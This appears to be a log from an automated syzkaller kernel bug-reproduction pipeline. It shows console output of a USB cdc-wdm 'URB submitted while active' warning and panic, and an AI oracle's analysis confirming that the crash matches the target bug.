[ 68.362083][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.362117][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.362420][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.362437][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.364642][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.364663][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.366786][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.366818][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.368816][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.368847][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.370766][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.370796][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.372750][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.372779][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.374716][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.374734][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.374803][ T5853] ------------[ cut here ]------------
[ 68.374808][ T5853] URB ffff888113ca3c00 submitted while active
[ 68.374814][ T5853] WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0, CPU#0: syz-executor370/5853
[ 68.376781][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.539967][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.542050][ T5853] Modules linked in:
[ 68.543500][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.545596][ T5853] CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
[ 68.545621][ T33] kauditd_printk_skb: 13 callbacks suppressed
[ 68.545772][ T33] audit: type=1400 audit(1789170790.668:224): avc: denied { write } for pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 68.558073][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.559981][ T5853] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 68.563377][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.565342][ T5853] RIP: 0010:usb_submit_urb+0x7c/0x18b0
[ 68.567241][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.569175][ T5853] Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
[ 68.575698][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.577606][ T5853] RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
[ 68.579746][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.581687][ T5853] RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
[ 68.584544][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.586553][ T5853] RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
[ 68.589252][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.591179][ T5853] RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
[ 68.593880][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.595842][ T5853] R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
[ 68.598580][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.600471][ T5853] R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
[ 68.603158][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.605130][ T5853] FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
[ 68.608123][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.610049][ T5853] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 68.612452][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.614382][ T5853] CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
[ 68.617108][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.619051][ T5853] Call Trace:
[ 68.620248][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.622161][ T5853] <TASK>
[ 68.623230][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.625247][ T5853] ? _raw_spin_unlock_irq+0x23/0x50
[ 68.627130][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.629060][ T5853] service_outstanding_interrupt+0x155/0x2b0
[ 68.631138][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.633083][ T5853] ? wdm_read+0x831/0xaf0
[ 68.634623][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.636660][ T5853] wdm_read+0x86d/0xaf0
[ 68.638154][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.640105][ T5853] ? __pfx_anon_pipe_write+0x10/0x10
[ 68.641969][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.643925][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.645600][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.647498][ T5853] ? __pfx_autoremove_wake_function+0x10/0x10
[ 68.649788][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.651713][ T5853] ? bpf_lsm_file_permission+0x9/0x20
[ 68.653598][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.655618][ T5853] ? security_file_permission+0x75/0x260
[ 68.657611][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.659512][ T5853] ? rw_verify_area+0x24a/0x4c0
[ 68.661210][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.663144][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.664824][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.666952][ T5853] vfs_read+0x213/0xa80
[ 68.668410][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.670357][ T5853] ? __pfx_vfs_read+0x10/0x10
[ 68.672043][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.674047][ T5853] ? __fget_files+0x2a/0x420
[ 68.675729][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.677675][ T5853] ? __fget_files+0x2a/0x420
[ 68.679309][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.681185][ T5853] ? __fget_files+0x3a2/0x420
[ 68.682802][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.684690][ T5853] ? __fget_files+0x2a/0x420
[ 68.686333][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.688220][ T5853] ksys_read+0x150/0x270
[ 68.689722][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.691633][ T5853] ? __pfx_ksys_read+0x10/0x10
[ 68.693260][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.695225][ T5853] do_syscall_64+0x166/0x520
[ 68.696846][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.698751][ T5853] ? trace_irq_disable+0x3b/0x140
[ 68.700484][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.702352][ T5853] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.704422][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.706386][ T5853] ? clear_bhb_loop+0x70/0xc0
[ 68.708000][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.709871][ T5853] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.711869][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.713729][ T5853] RIP: 0033:0x7f33f2b711fe
[ 68.715315][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.717201][ T5853] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 68.723620][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.725574][ T5853] RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 68.728394][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.730315][ T5853] RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
[ 68.732985][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.734883][ T5853] RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
[ 68.737602][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.739474][ T5853] RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
[ 68.742151][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.744048][ T5853] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
[ 68.746746][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.748622][ T5853] R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
[ 68.751262][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.753174][ T5853] </TASK>
[ 68.754273][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.756201][ T5853] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 68.758648][ T5853] CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
[ 68.761792][ T5853] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 68.765080][ T5853] Call Trace:
[ 68.766200][ T5853] <TASK>
[ 68.767189][ T5853] vpanic+0x56d/0xa60
[ 68.768566][ T5853] ? __pfx__printk+0x10/0x10
[ 68.770123][ T5853] ? __pfx_vpanic+0x10/0x10
[ 68.771653][ T5853] ? is_bpf_text_address+0x292/0x2b0
[ 68.773379][ T5853] ? is_bpf_text_address+0x26/0x2b0
[ 68.775113][ T5853] panic+0xc5/0xd0
[ 68.776368][ T5853] ? __pfx_panic+0x10/0x10
[ 68.777878][ T5853] __warn+0x315/0x4c0
[ 68.779222][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.780861][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.782483][ T5853] __report_bug+0x276/0x570
[ 68.784030][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.785658][ T5853] ? __pfx___report_bug+0x10/0x10
[ 68.787312][ T5853] ? rcu_is_watching+0x16/0xb0
[ 68.788919][ T5853] ? __pfx___up_read+0x10/0x10
[ 68.790542][ T5853] report_bug_entry+0x19b/0x290
[ 68.792171][ T5853] ? usb_submit_urb+0x7c/0x18b0
[ 68.793794][ T5853] ? usb_submit_urb+0x81/0x18b0
[ 68.795432][ T5853] handle_bug+0xce/0x200
[ 68.796834][ T5853] exc_invalid_op+0x1a/0x50
[ 68.798378][ T5853] asm_exc_invalid_op+0x1a/0x20
[ 68.799993][ T5853] RIP: 0010:usb_submit_urb+0x7c/0x18b0
[ 68.801849][ T5853] Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
[ 68.808136][ T5853] RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
[ 68.810146][ T5853] RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
[ 68.812729][ T5853] RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
[ 68.815367][ T5853] RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
[ 68.818032][ T5853] R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
[ 68.820674][ T5853] R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
[ 68.823283][ T5853] ? usb_submit_urb+0x72/0x18b0
[ 68.824921][ T5853] ? usb_submit_urb+0x72/0x18b0
[ 68.826544][ T5853] ? _raw_spin_unlock_irq+0x23/0x50
[ 68.828278][ T5853] service_outstanding_interrupt+0x155/0x2b0
[ 68.830286][ T5853] ? wdm_read+0x831/0xaf0
[ 68.831742][ T5853] wdm_read+0x86d/0xaf0
[ 68.833176][ T5853] ? __pfx_anon_pipe_write+0x10/0x10
[ 68.834964][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.836503][ T5853] ? __pfx_autoremove_wake_function+0x10/0x10
[ 68.838600][ T5853] ? bpf_lsm_file_permission+0x9/0x20
[ 68.840371][ T5853] ? security_file_permission+0x75/0x260
[ 68.842239][ T5853] ? rw_verify_area+0x24a/0x4c0
[ 68.843882][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.845453][ T5853] vfs_read+0x213/0xa80
[ 68.846864][ T5853] ? __pfx_vfs_read+0x10/0x10
[ 68.848435][ T5853] ? __fget_files+0x2a/0x420
[ 68.849991][ T5853] ? __fget_files+0x2a/0x420
[ 68.851536][ T5853] ? __fget_files+0x3a2/0x420
[ 68.853127][ T5853] ? __fget_files+0x2a/0x420
[ 68.854704][ T5853] ksys_read+0x150/0x270
[ 68.856157][ T5853] ? __pfx_ksys_read+0x10/0x10
[ 68.857785][ T5853] do_syscall_64+0x166/0x520
[ 68.859378][ T5853] ? trace_irq_disable+0x3b/0x140
[ 68.861090][ T5853] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.863116][ T5853] ? clear_bhb_loop+0x70/0xc0
[ 68.864690][ T5853] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.866633][ T5853] RIP: 0033:0x7f33f2b711fe
[ 68.868128][ T5853] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 68.874564][ T5853] RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 68.877297][ T5853] RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
[ 68.879959][ T5853] RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
[ 68.882637][ T5853] RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
[ 68.885244][ T5853] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
[ 68.887858][ T5853] R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
[ 68.890477][ T5853] </TASK>
[ 68.892210][ T5853] Kernel Offset: disabled
[ 68.893666][ T5853] Rebooting in 86400 seconds..
TruncatedCrashReport:------------[ cut here ]------------
URB ffff888113ca3c00 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor370/5853
Modules linked in:
CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:usb_submit_urb+0x7c/0x18b0 drivers/usb/core/urb.c:379
Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
Call Trace:
<TASK>
service_outstanding_interrupt+0x155/0x2b0 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x86d/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f33f2b711fe
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
</TASK>
----------------
Code disassembly (best guess):
0: 4c 89 f0 mov %r14,%rax
3: 48 c1 e8 03 shr $0x3,%rax
7: 80 3c 28 00 cmpb $0x0,(%rax,%rbp,1)
b: 74 08 je 0x15
d: 4c 89 f7 mov %r14,%rdi
10: e8 d9 60 da fa call 0xfada60ee
15: 49 83 3e 00 cmpq $0x0,(%r14)
19: 74 40 je 0x5b
1b: e8 fe 0e 6b fa call 0xfa6b0f1e
20: 48 8d 3d 37 bd 35 09 lea 0x935bd37(%rip),%rdi # 0x935bd5e
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: b8 f0 ff ff ff mov $0xfffffff0,%eax
34: eb 11 jmp 0x47
36: e8 e3 0e 6b fa call 0xfa6b0f1e
3b: eb 05 jmp 0x42
3d: e8 .byte 0xe8
3e: dc 0e fmull (%rsi)
TruncatedStraceOutput:]
|
| 453/3 |
2026/09/11 23:53 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The reproducer successfully triggered the expected crash. The crash signature matches the original bug description exactly, with a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` and `wdm_read`. ProbePassed:false TerminalError: TitleMatches:true]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
- Determine if the triggered crash matches the expected bug.
- If you conclude they represent the same underlying bug (the same root cause)
despite different titles, crash signatures, or call traces, set TitleMatches
to true and provide a detailed, technical, and verbose explanation of the
equivalence in the 'Feedback' field.
- If they do not represent the same bug (a completely unrelated crash/collision),
set TitleMatches to false and explain the collision in 'Feedback'.
- If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
- The reproduction attempt failed to trigger the bug. Analyze the console/strace output
to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
and provide feedback on how to improve the reproducer logic to trigger the crash.
Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Provide a clear technical diagnosis in the feedback identifying the failing call,
return code (errno), and error messages so the strategy-refiner can analyze the root cause.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
IsProbe: false
Reproduced: true
Console Output: [ 68.355475][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.357466][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.357496][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.359551][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.359583][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.359773][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.359790][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.362083][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.362117][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.362420][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.362437][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.364642][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.364663][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.366786][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.366818][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.368816][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.368847][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.370766][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.370796][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.372750][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.372779][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.374716][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.374734][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.374803][ T5853] ------------[ cut here ]------------
[ 68.374808][ T5853] URB ffff888113ca3c00 submitted while active
[ 68.374814][ T5853] WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0, CPU#0: syz-executor370/5853
[ 68.376781][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.539967][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.542050][ T5853] Modules linked in:
[ 68.543500][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.545596][ T5853] CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
[ 68.545621][ T33] kauditd_printk_skb: 13 callbacks suppressed
[ 68.545772][ T33] audit: type=1400 audit(1789170790.668:224): avc: denied { write } for pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 68.558073][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.559981][ T5853] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 68.563377][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.565342][ T5853] RIP: 0010:usb_submit_urb+0x7c/0x18b0
[ 68.567241][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.569175][ T5853] Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
[ 68.575698][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.577606][ T5853] RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
[ 68.579746][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.581687][ T5853] RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
[ 68.584544][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.586553][ T5853] RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
[ 68.589252][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.591179][ T5853] RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
[ 68.593880][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
